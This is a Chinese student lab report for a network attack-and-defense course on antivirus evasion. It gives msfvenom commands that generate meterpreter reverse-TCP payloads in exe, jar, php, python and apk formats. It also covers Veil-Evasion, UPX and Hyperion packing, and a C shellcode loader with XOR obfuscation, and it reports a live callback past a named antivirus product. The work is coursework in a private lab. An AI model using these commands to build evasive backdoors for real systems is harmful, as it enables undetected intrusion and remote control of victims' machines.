20222403 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1. 实验内容

1.1.实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
1.2问题回答
(1)杀软是如何检测出恶意代码的?
特征码检测,启发式检测,行为检测
(2)免杀是做什么?
免杀,全称为反杀毒技术(Anti-Anti-Virus),是一种能使病毒木马免于被杀毒软件查杀的技术。
(3)免杀的基本方法有哪些?
混淆:利用合法的白文件与恶意的黑文件相结合。
代码注入:利用系统的漏洞或者特定的编程技术,将恶意代码注入到正在运行的进程中。
加壳:将可执行文件进行压缩和加密,并在运行时进行解压缩和解密。

2.实验过程

任务一:正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧**

2.1.1测试编码次数对免杀效果的影响

使用x86/shikata_ga_nai作为编码器,设置不同的编码次数进行多次迭代,通过检出率观察免杀效果是否有变化。
无编码:
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.26.128 LPORT=2403 -f exe > en0.exe
编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.26.128 LPORT=2403 -f exe > en1.exe
编码十次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.26.128 LPORT=2403 -f exe > en10.exe
编码六十次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.26.128 LPORT=2403 -f exe > en60.exe


产生的文件:en0,en1,en10,en60

2.1.2测试不同输出格式

jar文件:msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.26.128 LPORT=2403 x> ja20222403qx.jar

php文件:msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.26.128 LPORT=2403 x> ph20222403qx.php

python文件:msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.26.128 LPORT=2403 x> py20222403qx.py

apk文件:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=2403 x> ap20222403qx.apk



2.1.3免杀效果测试

将使用msfvenom生成的文件上传到VirusTotal 和Virscan 进行测试,查看免杀效果,检出率总结与检测截图如下。
en0


en1

en10

en60

apk

jar

python

php


根据结果,多次编码的免杀效果很差,而不同的payload对免杀效果的影响较大,其中python和php文件的免杀效果是最好的。
2.1.4Veil-Evasion
(1)veil安装
安装指令
apt-get install veil-evasion

安装还没完,还需要下载其他有关依赖和软件,要先需要修改一个克隆地址
cd /usr/share/veil/config
vim setup.sh
打开文件

然后在文件中找到这一行:sudo git clone https://github.com/Veil-Framework/VeilDependencies git "${dependenciesdir}"
改为:

退出保存后输入veil,继续进行后续内容的安装

这里会安装好多软件,一路默认安装
安装好后打开veil

(2)veil使用
按照实验要求,我们选择文件免杀Evasion
use evasion

用list查看可用的payload

(3)简单C文件
生成文件:use c/meterpreter/rev_tcp.py

配置IP和端口:
set LHOST 192.168.26.128
set LPORT 2403
查看详情:options

generate生成文件,文件名自定义


检查免杀效果

(4)python文件
不同编程语言生成的文件免杀效果是不一样的,因此再次使用前面免杀效果最好的python语言测试一下
生成文件:use python/meterpreter/rev_tcp.py
配置IP和端口:
set LHOST 192.168.26.128
set LPORT 2403



检查免杀效果

与上一个简单C比起来,免杀效果确实更加优秀
2.1.5加壳
(1)压缩壳
用upx命令对文件加压缩壳
upx 2403veil.exe -o 2403v.exe


检查免杀效果

加了压缩壳没有效果
(2)加密壳
将文件2403veil.exe复制到hyperion目录下,进入hyperion所在的目录
生成加密文件:wine hyperion.exe -v2403veil.exe 2403jiami.exe


检查免杀效果

效果反而更差了
2.1.6使用C + shellcode编程
先生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=2403 -f c

将这一段buf 内容复制,然后新建一个.c文件,打开编辑内容
touch 2022qia0.c
vim 2022qiao.c

添加刚才复制的buf,并补充如下内容

保存退出,然后将.c文件进行编译
i686-w64-mingw32-g++ 2022qia0.c-0 20222403shellcode 3.exe

检查免杀效果

效果很差

任务二:通过组合应用各种技术实现恶意代码免杀

原理: c + shellcode + 异或 + 压缩壳
先生成一段 shellcode:
msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.26.128 LPORT=2403 -f c

将这一段shllcode复制到CodeBlocks中的一个.c项目,编写代码如下

运行得到结果

将输出得到的代码复制,在虚拟机再新建一个2403miansha.c文件,内容如下

编译为.exe文件

再为生成的exe文件加一层压缩壳,生成文件2403last.exe

检查免杀效果

用联想电脑管家扫描

成功实现了文件和杀软共存。

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

杀毒软件:联想电脑管家
版本:v5.1.80.9032
虚拟机进入msf控制台,输入以下内容:
set payload windows/meterpreter/reverse tcp
set LHOST 192.168.26.128
set LPORT 2403
exploit开启监听

主机执行生成的文件2403last.exe,测试连接


可以看到成功监听且没有被联想电脑管家发现

3.问题及解决方案

  • 问题1:安装veil时提示找不到某文件
  • 问题1解决方案:经过请教同学,直到这个文件不会默认安装,需要从外部下载导入。
  • 问题2: 把生成的免杀测试文件放到桌面上,会被清除。
  • 问题2解决方案:关闭杀毒软件和实时保护

4学习感悟

任何实验都不是一下子就能做出来的,要有耐心,遇到问题时不要慌张,多向同学寻找解决方法,也可以在网络上寻找相关问题的解决方式。比如再安装veil时,我先根据某一个同学的安装方式进行安装,本以为没有问题,结果到最后报错,但是报错和他不同,直到后来看到另一个同学的实验报告,看到出现的问题相同,我才终于知道自己为什么没有安装好,原来要从外面下载后导入。就是这么一个小问题困了我4个小时!遇到困难要多找人咨询才能解决自己的问题。

posted @ 2024-10-24 20:16  20222403乔旭  阅读(7)  评论(0编辑  收藏  举报